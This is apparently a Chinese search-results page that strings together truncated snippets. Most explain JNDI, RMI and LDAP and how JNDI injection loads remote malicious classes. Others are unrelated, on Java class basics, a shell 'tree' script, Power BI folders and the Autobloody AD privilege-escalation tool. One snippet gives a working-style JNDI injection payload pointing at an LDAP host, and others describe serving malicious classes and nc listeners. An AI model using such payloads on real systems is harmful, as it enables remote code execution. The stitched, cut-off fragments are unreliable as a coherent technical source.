如何在运行时获取一个Java类的所有对象实例呢?...这个类可能是任何一个类,既不是单例,也不一定是由Spring管理,也不提供静态方法,有的时候还不能修改其代码,这里给大家介绍一种底层实现的方式,基于jvmti,代码用C++实现。...: 返回所有的实例对象 * @param targetClass 需要查询实例的Class * @return */ public static native Object...,生成的对象和通过类获取所有的对象进行对比测试例子如下:class A{}class B{}public class TestInstancesOfClass { private static 的所有对象实例是否一致
JNDI提供了通过其他企业命名和目录服务(例如LDAP)发布RMI对象的前景。...引用由Reference类表示,并且由地址和有关被引用对象的类信息组成,每个地址都包含有关如何构造对象。 Reference可以使用工厂来构造对象。...LDAP目录服务是由目录数据库和一套访问协议组成的系统,目录服务是一个特殊的数据库,用来保存描述性的、基于属性的详细信息,能进行查询、浏览和搜索,以树状结构组织数据。...LDAP目录服务基于客户端-服务器模型,它的功能用于对一个存在目录数据库的访问。LDAP目录和RMI注册表的区别在于是前者是目录服务,并允许分配存储对象的属性。...•Remote Location方式这种方式是结合LDAP与RMI+JNDI Reference的方式,所以依然会受到上面RMI+JNDI Reference的限制,这里就不写代码测试了,下面的代码只说明了该如何使用这种方式
现在JNDI已经成为J2EE的标准之一,所有的J2EE容器都必须提供一个JNDI的服务。...JNDI可访问的现有的目录及服务有: DNS、XNam 、Novell目录服务、LDAP(Lightweight Directory Access Protocol轻型目录访问协议)、 CORBA对象服务...以上是一段百度wiki的描述。简单点来说就相当于一个索引库,一个命名服务将对象和名称联系在了一起,并且可以通过它们指定的名称找到相应的对象。...该类也是在javax.naming的一个类,该类表示对在命名/目录系统外部找到的对象的引用。...具体的原因下面再去做分析。JNDI可以使用RMI、LDAP来访问目标服务。在实际运用中也会使用到JNDI注入配合RMI等方式实现攻击。
参考链接: Java中的对象和类 1.对象的概念 :万物皆对象,客观存在的事物皆为对象 2.什么是面向对象:人关注一个对象,实际上是关注该对象的事务信息 3.类:类是模子,确定对象将会拥有的特征(...对象是一个你能够看得到,摸得着的具体实体 如何定义Java中的类: 1.类的重要性:所有Java程序都以类class为组织单元 2.什么是类:类是模子,确定对象将会拥有的特征(属性)和行为(方法...方法n; } Java对象 使用对象的步骤: 1.创建对象: 类名 对象名 = new 类名(); ... Telphone phone =new Telphone(); 2.使用对象 引用对象的属性:对象名.属性 phone.screen = 5; //给screen属性赋值...5 引用对象的方法:对象.方法 phone.sendMessage() ; //调用对象senMessage()方法 成员变量和局部变量 1.成员变量 在类中定义,用来描述对象将要有什么
这些对象可以存储在不同的命名或目录服务中,例如远程方法调用(RMI),通用对象请求代理体系结构(CORBA),轻型目录访问协议(LDAP)或域名服务(DNS)。...对于不同的内置目录服务有不同的攻击面 JNDI+RMI RMI的核心特点之一就是动态类加载,假如当前Java虚拟机中并没有此类,它可以去远程URL中去下载这个类的class,而这个class文件可以使用...在JNDI服务中,RMI服务端除了直接绑定远程对象以外,还可以通过References类来绑定一个外部的远程对象,这个远程对象是当前名称目录系统之外的对象,绑定了Reference之后,服务端会先通过Referenceable.getReference...JNDI+LDAP ldap的属性值中可以被用来存储Java对象,通过Java序列化,或者 JNDI Reference 来存储。...详细可以参考 如何绕过高版本 JDK 的限制进行 JNDI 注入利用 | KINGX 探索高版本 JDK 下 JNDI 漏洞的利用方法 | 浅蓝 最后 JNDI 注入的漏洞的关键在于动态协议切换导致请求了攻击者控制的目录服务
域网络设计,包含多个目录服务,比如域名服务、证书服务等; 其他基于 LDAP 协议实现的目录服务; 总而言之,目录服务也是一种特殊的名称服务,关键区别是在目录服务中通常使用搜索(search)操作去定位对象...在 Java 应用中除了以常规方式使用名称服务(比如使用 DNS 解析域名),另一个常见的用法是使用目录服务作为对象存储的系统,即用目录服务来存储和获取 Java 对象。...LDAP Directory 作为一种目录服务,主要用于带有条件限制的对象查询和搜索。目录服务作为一种特殊的数据库,用来保存描述性的、基于属性的详细信息。...LDAP LDAP 服务作为一个树形数据库,可以通过一些特殊的属性来实现 Java 对象的存储,此外,还有一些其他实现 Java 对象存储的方法: 使用 Java 序列化进行存储; 使用 JNDI 的引用...(Reference)进行存储; …… 使用这些方法存储在 LDAP 目录中的 Java 对象一旦被客户端解析(反序列化),就可能会引起远程代码执行。
当然有那就是LDAP。 在深入学习LDAP协议之前我们需要了解什么是目录服务? 1.描述:目录服务是一个特殊的数据库,用来保存描述性的、基于属性的详细信息,支持过滤功能。...2.数据库内的每个条目都与若干对象类联系,而这些对象类决定了一个属性是否为可选和它保存哪些类型的信息。...对象类:与某个实体类型对应的一组属性,对象类是可以继承的,这样父类的必须属性也会被继承下来。...终端用户在需要使用公司内部服务的时候,都需要通过AD服务器的认证。 WeiyiGeek.LDAP身份认证 那么程序中是如何访问的呢?...JNDI方式 描述:我们可以使用Java中使用javax.naming可以对Ldap用户信息进行验证,使用这点可以完成SSO之类功能的集成; 简单的基础示例: //登陆与验证LDAP package
试想想这样一组场景:假设某一场景中需要通过日志输出一个 Java 对象,此时,这个对象在程序中没有定义,而是在其他环境中,这种情况下如何处理呢?...JNDI 即全称为 “Java Naming and Directory Interface”,中文释义为 JAVA 命名和目录接口,它提供一个目录系统,并将服务名称与对象关联起来,从而使得开发人员在开发过程中可以使用名称来访问对象...Java 应用程序使用 JNDI API 来访问各种命名和目录服务。SPI 允许以透明方式插入各种命名和目录服务,从而允许使用 JNDI API 的 Java 应用程序访问其服务。...javax.nameing.ldap 包含用于支持 LDAPv3 扩展操作和控制的类和接口。...比如,在与后端组件交互,仍然使用 JNDI 的三种 Java 技术是 JDBC、EJB 和 JMS。所有这些都在 Java 企业应用程序中具有广泛的用途。
不同的方法允许将不同类型的信息存储在目录中,对如何引用,查询和更新该信息,如何防止未经授权的访问等提出不同的要求(这些由LDAP定义)。...2、LDAP目录 2.1 基于国家的目录排列 在LDAP中,目录条目以树状分层结构排列。传统上,此结构反映了地理和组织边界。代表国家的条目显示在树的顶部。它们下面是代表省和国家机构的条目。...基于域名的LDAP目录树示例: 3、为什么使用LDAP 随着公司内部各种开源平台越来越多(例如:gitlab、Jenkins、Yapi等等),账号维护变成一个繁琐麻烦的事情,急需有一个统一的账号维护平台...该程序将执行以下任务: 创建一个新的LDAP对象 查看LDAP对象 将新属性添加到LDAP对象 修改LDAP对象上的属性 删除LDAP对象上的属性 删除LDAP对象 package test; import...,"com.sun.jndi.ldap.LdapCtxFactory"); // LDAP工厂类 HashEnv.put("com.sun.jndi.ldap.connect.timeout
1099/hell",helloR); 毫无疑问,作为一个命名服务首先需要将对象和某个名称绑定在一起,也就是所谓的Bindings,而之所以说目录服务是命名服务的扩展是因为目录服务还可以通过属性来搜索对象...JNDI到底是什么,实际上是java的一个api,通过JNDI可以对不同的目录系统做操作,将不同的目录系统(如RMI和LDAP)放入统一的一个接口中方便使用,其整体架构可看oracle官方文档[2]中给的图...例如JDBC驱动类是SPI的一部分:如果仅仅是想使用JDBC驱动,你不需要实现这个类,但如果你想要实现JdBC驱动那就必须实现这个类。...与常规的rmi实现不同的是此处我们操作的是Reference对象而非直接对远程类对象做操作,这样就是JNDI对于RMI或者说是SPI层下的实现,通过返回Reference的方式,由JNDI统一去加载指定的地址上的...,属性等,同时java对象在ldap中也有多种存储形式,其中比较值得关注的是SerializedData以及JNDI Reference,而存储的java对象可以放置的属性有: ObjectClass
LDAP是典型的目录服务,这个我们暂且还没接触到,后文会提及 其实,仔细一琢磨就会感觉其实命名服务与目录服务的本质是一样的,都是通过键来查找对象,只不过目录服务的键要灵活且复杂一点。...我们只要知道jndi是对各种访问目录服务的逻辑进行了再封装,也就是以前我们访问rmi与ldap要写的代码差别很大,但是有了jndi这一层,我们就可以用jndi的方式来轻松访问rmi或者ldap服务,这样访问不同的服务的代码实现基本是一样的...从图中可以看到jndi在访问rmi时只是传了一个键foo过去,然后rmi服务端返回了一个对象,访问ldap这种目录服务室,传过去的字符串比较复杂,包含了多个键值对,这些键值对就是对象的属性,LDAP将根据这些属性来判断到底返回哪个对象.... 0x03 jndi 代码实现 在JNDI中提供了绑定和查找的方法: bind:将名称绑定到对象中; lookup:通过名字检索执行的对象; 下面的demo将演示如何用jndi访问rmi服务: 先实现一个接口...JNDI Naming Reference Reference类表示对存在于命名/目录系统以外的对象的引用。
命名服务:键值对绑定key = value,通过键名检索值,RMI(远程方法调用)就是典型的命名服务。 目录服务:是命名服务的拓展,通过对象的属性来检索对象,是一种层级关系。...可以理解为目录,LDAP(轻量级目录访问协议)就是典型的目录服务。 总结:JNDI对访问RMI或者LDAP服务的代码进行了封装,我们使用JNDI就可以访问这些服务。...JNDI相当于是客户端,而rmi,LDAP等这些是服务端。通过JNDI接口,将服务名称和对象关联起来,即传一个name进去,就能够获得对象 。...JNDI可访问的目录及服务有:LDAP DNS NIS JDBC RMI 等等 什么是RMI Java的远程方法调用,访问RMI时,只需要传入键,即可返回对象。...JNDI支持一个命名引用方式,可以通过远程下载一个class文件,然后加载构建对象 JNDI注入:${jndi:ldap:192.168.1.1:9998/class} 1、lookup通过名字检索执行的对象
点击上方“民工哥技术之路”,选择“设为星标” 回复“1024”获取独家整理的学习资料! ? 在Linux中使用Shell写一个显示目录结构的命令,快速寻找目录结构。 1、代码 #!.../usr/bin/env bash # 本命令用于显示指定路径或者当前路径的文件结构,支持搜索 # tf 显示当前目录的文件结构 # tf 接关键词 搜索当前目录 # tf 目录 关键词 搜索指定目录...KEYWORD=$2 fi if [ -n "$DIR" ]; then cd "$DIR" || exit 1 fi pwd tree -C -f | grep "$KEYWORD" 2、使用效果...3、颜色意思 蓝色代表目录 绿色代表可执行文件 红色代表压缩文件 浅蓝色代表链接文件 灰色代表其他文件 红色闪烁代表链接文件有问题 黄色代表设备文件 白色代表一般性文件,如:文本文件、配置文件、源码文件等
关于Autobloody Autobloody是一款针对活动目录的安全审查工具,在该工具的帮助下,广大研究人员可以通过自动化的形式利用BloodHound扫描发现的活动目录提权路径来实现权限提升。...如果BloodHound数据库中存在两个对象之间的提权路径,那么该工具将会以自动化的形式通过这两个活动目录对象,即源对象(我们拥有的)和目标对象(我们想要的)来实现权限提升。...工具的自动化操作分为两个步骤: 1、使用BloodHound数据和Neo4j查询来寻找最佳的权限提升路径; 2、使用bloodyAD包执行搜索到的提权路径; Autobloody基于bloodyAD实现其功能...,而这个包支持使用明文密码、pass-the-hash、pass-the-ticket和证书来进行身份验证,并可以绑定到域控制器的LDAP服务以执行活动目录权限提升。...LDAP,即LDAPS (默认为 LDAP) --host HOST 域控制器的主机名或IP (例如: my.dc.local or 172.16.1.3) 工具限制 当前版本的
2.2 JNDI架构 Java应用程序通过JNDI API访问目录服务,而JNDI API会调用Naming Manager实例化JNDI SPI,然后通过JNDI SPI去操作命名或目录服务其如LDAP..., DNS,RMI等,JNDI内部已实现了对LDAP,DNS, RMI等目录服务器的操作API。...name获取其绑定的对象 InitialContextNaming (命名服务)操作的入口类,通过该类可对命名服务进行相关的操作 DirContext Directory目录服务的接口类,该类继承自...Context,在Naming服务的基础上扩展了对于对象属性的绑定和获取操作 InitialDirContext Directory目录服务相关操作的入口类,通过该类可进行目录相关服务的操作...例如:包含 system.exit(1) 等类似的危险操作和恶意代码的下载地址。 2、攻击者再发布另一个恶意代码下载服务,此服务可以下载所有含有恶意代码的类。
动态加载类 RMI核心特点之一就是动态类加载,如果当前JVM中没有某个类的定义,它可以从远程URL去下载这个类的class,动态加载的对象class文件可以使用Web服务的方式进行托管。...客户端使用了与RMI注册表相同的机制。RMI服务端将URL传递给客户端,客户端通过HTTP请求下载这些类。 这个概念比较重要,JNDI注入的利用方法中也借助了动态加载类的思路。...)是轻量级目录访问协议,用于访问目录服务,基于X.500目录访问协议 JNDI注入 简单来说,JNDI (Java Naming and Directory Interface) 是一组应用程序接口,它为开发人员查找和访问各种资源提供了统一的通用接口...将RMI服务绑定到JNDI的一个好处是更加透明、统一和松散耦合,RMI客户端直接通过URL来定位一个远程对象,而且该RMI服务可以和包含人员,组织和网络资源等信息的企业目录链接在一起。...nc监听端口,在之前漏洞复现中已经讲过,就不再赘述了 我们在前面用到的都是远程加载RMI或LDAP服务端上的恶意类,即远程加载恶意类,在一些情况下,这种远程加载恶意类的方法并不能百分之百能够利用成功,这里就可以使用本地利用方式
今天想把之前发布的Power BI的示例文件文件夹做一个表出来,只获取该目录下的所有文件夹的名,并不包含其中各种文件和子目录。 ? 因为每个文件夹中都包含多个文件,甚至还有子文件夹: ?...所以如果直接用“从文件夹获取数据”的方式,PowerQuery会使用Folder.Files函数: ? Folder.Files会将所选目录下所有文件的路径罗列出来: ?...以下是Folder.Contents的说明: ? 这个就比较好了。它只返回所选的目录下的文件夹名和文件名,并不会返回子文件夹下的文件。...这样我们就得到了根目录下的所有文件夹名,和文件名。尤其是,空文件夹这里也出现了。 接下来就是从列表中只返回文件夹的名。...再筛选TRUE的行: ? 意思是查看属性,然后筛选那些是“目录”的行。 这样,就将该目录下的所有文件夹的名获取到了。
JNDI提供统一的客户端API,为开发人员提供了查找和访问各种命名和目录服务的通用、统一的接口,可以用来定位用户、网络、机器、对象和服务等各种资源。...JNDi是应用程序设计的Api,JNDI可以根据名字动态加载数据,支持的服务主要有以下几种: DNS、LDAP、CORBA对象服务、RMI 1.2 利用JNDI References进行注入 对于这个知识点...()获取绑定对象的引用,并在目录中保存,当客户端使用lookup获取对应名字时,会返回ReferenceWrapper类的代理文件,然后会调用getReference()获取Reference类,最终通过...3.JNDI是一个接口,在这个接口下会有多种目录系统服务的实现,通过名称等去找到相关的对象,并把它下载到客户端中来。 4.ldap指轻量级目录服务协议。...可以看到ldap的利用范围是比rmi要大的,实战情况下推荐使用ldap方法进行利用。
2、JNDI架构 Java应用程序通过JNDI API访问目录服务,而JNDI API会调用Naming Manager实例化JNDI SPI,然后通过JNDI SPI去操作命名或目录服务其如LDAP,...DNS,RMI等,JNDI内部已实现了对LDAP,DNS, RMI等目录服务器的操作API。...获取其绑定的对象InitialContextNaming(命名服务)操作的入口类,通过该类可对命名服务进行相关的操作 DirContext Directory目录服务的接口类,该类继承自Context,...在Naming服务的基础上扩展了对于对象属性的绑定和获取操作 InitialDirContext Directory目录服务相关操作的入口类,通过该类可进行目录相关服务的操作 Java通过JNDI API...例如:包含 system.exit(1) 等类似的危险操作和恶意代码的下载地址。 2、攻击者再发布另一个恶意代码下载服务,此服务可以下载所有含有恶意代码的类。
具有以下几个特点: 速度快 广泛使用 测试完备 使用简单 功能完备 JNDI JNDI (Java Naming and Directory Interface)是一组应用程序接口,提供了查找和访问命名和目录服务的通用...LDAP LDAP(Lightweight Directory Access Protocol)是轻量级目录访问协议,用于访问目录服务,基于X.500目录访问协议 参考:LDAP服务器的概念和原理简单介绍...JNDI注入 在JNDI服务中,RMI服务端除了直接绑定远程对象,还可以通过References类绑定一个外部的远程对象(当前名称目录系统之外的对象)。...当客户端使用lookup()方法查找该远程对象时,会返回ReferenceWrapper类的代理文件,接着调用getReference()获取Reference类,获取到相应的object factory...0x03 复现过程 - 基于LDAP方式的反序列化漏洞利用 win环境下是使用JDK8u161搭建,由于基于RMI的反序列化漏洞需要JDK版本小于8u121,所以这里复现使用LDAP方式 1)编写恶意类代码
领取专属 10元无门槛券
手把手带您无忧上云